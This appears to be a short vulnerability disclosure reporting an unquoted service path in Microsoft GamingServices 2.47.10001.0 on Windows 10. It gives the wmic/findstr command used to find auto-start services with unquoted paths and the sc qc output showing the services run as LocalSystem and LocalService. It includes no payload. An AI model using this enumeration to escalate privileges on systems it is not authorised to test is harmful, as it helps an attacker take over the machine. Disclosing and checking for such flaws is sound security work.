Microsoft GamingServices 2.47.10001.0 - 'GamingServices' Unquoted Service Path

# Exploit Title: Microsoft GamingServices 2.47.10001.0 - 'GamingServices' Unquoted Service Path
# Discovery by: Ismael Nava
# Discovery Date: 02-12-2020
# Vendor Homepage: https://www.microsoft.com
# Software Links : https://www.microsoft.com/en-us/p/xbox-beta/9mv0b5hzvk9z?activetab=pivot:overviewtab
# Tested Version: 2.47.10001.0
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 bits

# Step to discover Unquoted Service Path:

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
GamingServices GamingServices C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServices.exe Auto
GamingServicesNet GamingServicesNet C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe Auto

C:\>sc qc "GamingServicesNet"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: GamingServicesNet
        TIPO               : 210  WIN32_PACKAGED_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServicesNet.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : GamingServicesNet
        DEPENDENCIAS       : staterepository
        NOMBRE_INICIO_SERVICIO: NT AUTHORITY\LocalService

C:\>sc qc "GamingServices"
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: GamingServices
        TIPO               : 210  WIN32_PACKAGED_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 0   IGNORE
        NOMBRE_RUTA_BINARIO: C:\Program Files\WindowsApps\Microsoft.GamingServices_2.47.10001.0_x64__8wekyb3d8bbwe\GamingServices.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : GamingServices
        DEPENDENCIAS       : staterepository
        NOMBRE_INICIO_SERVICIO: LocalSystem